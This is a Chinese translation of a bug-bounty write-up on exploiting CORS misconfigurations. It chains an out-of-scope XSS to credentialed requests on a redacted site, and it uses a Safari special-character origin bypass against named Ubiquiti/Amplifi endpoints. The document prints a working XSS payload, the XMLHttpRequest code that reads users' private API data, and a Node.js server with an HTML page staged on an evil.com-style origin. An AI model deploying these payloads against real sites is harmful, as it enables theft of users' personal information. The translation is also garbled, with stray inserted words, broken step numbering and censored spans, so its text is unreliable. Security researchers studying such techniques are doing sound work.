嗨,你們好
我叫Ayoub,我是摩洛哥的安全研究員。在本文中,我將描述兩種如何利用CORS錯誤配置的狀況:第一種狀況基於XSS,須要在範圍以外進行思考,第二種狀況是基於高級CORS利用技術。
注意:在開始閱讀本文以前,您須要對CORS是什麼以及如何利用錯誤配置有基本的瞭解。如下是一些很棒的帖子,可以讓你瞭解他的用法:
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/
https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bountieshtml
大約一年前,我正在***這個由HackerOne託管的私有程序。在HTTP請求中使用Origin頭以後,而後檢查服務器響應以檢查它們是否進行了域白名單檢查,我注意到該應用程序僅將子域(甚至是不存在的子域)盲目地列入了白名單。
出於隱私緣由和負責任的披露政策,咱們假定該Web應用程序託管在:www.redacted.com
這種CORS配置錯誤看起來像這樣:
HTTP請求:node
GET / api / return HTTP / 1.1 host:www.redacted.com Origin:evil.redacted.com Connection:close HTTP響應: HTTP / 1.1 200 OK Access-control-allow-credentials:true Access-control-allow-origin:evil.redacted.com
該API端點正在返回用戶的私人信息,例如全名,電子郵件地址等。
要利用此錯誤配置進行***,例如泄露用戶的私人信息,咱們須要聲明一個廢棄的子域(子域接管),或者在一個現有子域中找到XSS。
在範圍以外思考
找到一個廢棄的子域並非一件容易的事,所以我決定選擇第二種方法,即在一個現有子域中找到一個XSS。可是,此私有程序的範圍僅限於:www.redacted.com,這意味着在其餘子域中查找XSS絕對不在範圍內,可是在範圍內以某種方式將此XSS與CORS錯誤配置連接在一塊兒。
並且,其餘子域不在範圍以內的事實是讓我更加自信的緣由,由於在其餘子域中不會進行測試,所以頗有可能在這些子域上找到XSS。
所以,我懷着充滿但願的心情開始搜索此XSS,並在不到一個小時的時間內,使用如下負載在banques.redacted.com中找到了一個。chrome
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
所以,要利用此CORS錯誤配置,咱們只須要用如下代碼替換XSS payload:alert(document.domain)api
Function cors(){ var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function(){ if(this.status == 200){ alert(this.responseText); document.getElementById(「 demo」)。innerHTML = this.responseText; } }; xhttp.open(「 GET」,「 https://www.redacted.com/api/return」,true); xhttp.withCredentials = true; xhttp.send(); } cors();
像這樣 :跨域
https://banques.redacted.com/choice-quiz?form_banque= 「> <script> function%20cors(){var%20xhttp = new%20XMLHttpRequest(); xhttp.onreadystatechange = function(){if(this.status == 200)alert(this.responseText); document.getElementById("demo").innerHTML = this.responseText}}; xhttp.open(" GET","https://www.redacted.com/api/return",true); xhttp.withCredentials = true; xhttp.send()} cors(); </ script> &form_cartes = 73&iframestat = 1
還有Voilà,咱們如今有了一個不錯的PoC:
我拿到的獎勵
如今,若是我告訴你仍然能夠利用此漏洞,而無需在任何現有子域中找到XSS或聲明被放棄的子域,這正是咱們將在第二種狀況下討論的內容。瀏覽器
此次,我正在研究Ubnt,尤爲是託管在如下位置的應用程序:https : //protect.ubnt.com/
按照相同的過程,我肯定了相同的CORS錯誤配置,與以前的狀況相似,可是此次應用程序從其餘位置獲取用戶的私人信息,該API是在:https://client.amplifi.com/api/user/
該應用程序還盲目地將全部子域列入白名單,甚至是不存在的子域。
並且,正如咱們以前討論的那樣,要利用此CORS錯誤配置,您將須要要麼聲明一個廢棄的子域,要麼在一個現有子域中找到XSS。
而且因爲這是一個公共程序,所以具備很大的範圍(全部子域都在範圍內);找到XSS的機會很小,甚至沒有提到子域接管漏洞。
高級的CORS技術
事實證實,還有另外一種方法,但這須要必定的條件才能起做用。
最近作了一個有趣的研究。
https://www.corben.io/advanced-cors-techniques/找到Corben Leo能夠發如今這裏。能夠繞過域名內部使用特殊字符錯誤實施的某些控件。
這項研究基於如下事實:瀏覽器在發出請求以前並不老是驗證域名。所以,若是使用某些特殊字符,則瀏覽器當前可能會提交請求,而無需事先驗證域名是否有效和存在。
例如:
徹底理解此問題後,讓咱們嘗試打開一個帶有特殊字符的URL,例如:http://asdf`+=.withgoogle.com. 大多數瀏覽器會在發出任何請求以前先驗證域名。
域名withgoogle.com,用做演示,由於它 有一個通配符DNS記錄
chrome:
Firefox:
安全
Safari:
如您所見,Safari是一個例外,它實際上會發送請求並嘗試加載頁面,這與其餘瀏覽器不一樣。
咱們可使用各類不一樣的字符,甚至是沒法打印的字符:
,&'「; !! $ ^ *()+ =`〜-_ = | {}%服務器
//不可打印的字符
%01-08,%0b,%0c,%0e,%0f,%10-%1f, %7f
此外,能夠在
https://www.bedefended.com/papers/cors-security-guide
找到Davide Danelon進行的另外一項研究,結果代表,這些特殊字符的其餘子集也能夠在其餘瀏覽器上使用。
如今,咱們瞭解了全部這些信息,咱們如何利用這個問題來執行這個漏洞利用,做爲一個很好的演示,讓咱們回到如下易受***的Web應用程序:https : //client.amplifi.com/
新的方法
在這種狀況下,Web應用程序還接受如下Origin * .ubnt.com!.evil.com
不僅是字符「!」 ,還包括如下內容:cors
serve.js var http = require('http'); var url = require('url'); var fs = require('fs'); var port = 80 http.createServer(function(req,res){ if(req.url =='/ cors-poc'){ fs.readFile('cors.html',function(err,data){ res.writeHead (200,{'Content-Type':'text / html'}); res.write(data); res.end(); }); }else{ res.writeHead(200,{'Content-Type': 'text / html'}); res.write(' never gonna give you up...'); res.end(); } })listen(port,'0.0.0.0'); console.log(` Serving on port ${port}`);
4.3.在同一目錄中,保存如下內容:dom
cors.html <!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();"> <center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz"> </textarea><br> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("pwnz").innerHTML = this.responseText; } }; xhttp.open("GET", "https://client.amplifi.com/api/user/", true); xhttp.withCredentials = true; xhttp.send(); } </script>
5.4.經過運行如下命令來啓動NodeJS服務器:
node serve.js&
5.如今,經過如下網址登陸該應用程序:https://protect.ubnt.com/ 並檢查是否能夠從如下端點檢索賬戶信息:https://client.amplifi.com/api/user/
6.最後,在Safari瀏覽器和Voilà中打開連接:http://zzzz.ubnt.com=.evil.com/cors-poc。
就我而言,因爲我沒有Mac機器,所以我在iPhone中將Safari瀏覽器用做PoC。
個人獎勵
最後
我確信不少安全研究人員已經遇到過這種狀況,而且您能夠在HackerOne中找到不少描述這種CORS錯誤配置的報告,可是因爲缺少PoC,只有少數可以充分利用它。在他們的報告中。
這就是我要分享經驗的緣由之一。還重點介紹了利用這種漏洞的其餘技術。
最後,永遠記住,有時您只須要在 「 Boox」 範圍以外思考。
謝謝閱讀。請隨時在Twitter https://twitter.com/sandh0t上關注我。
本文翻譯自:
https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397免責申明:本文由互聯網整理翻譯而來,僅供我的學習參考,若有侵權,請聯繫咱們,告知刪除。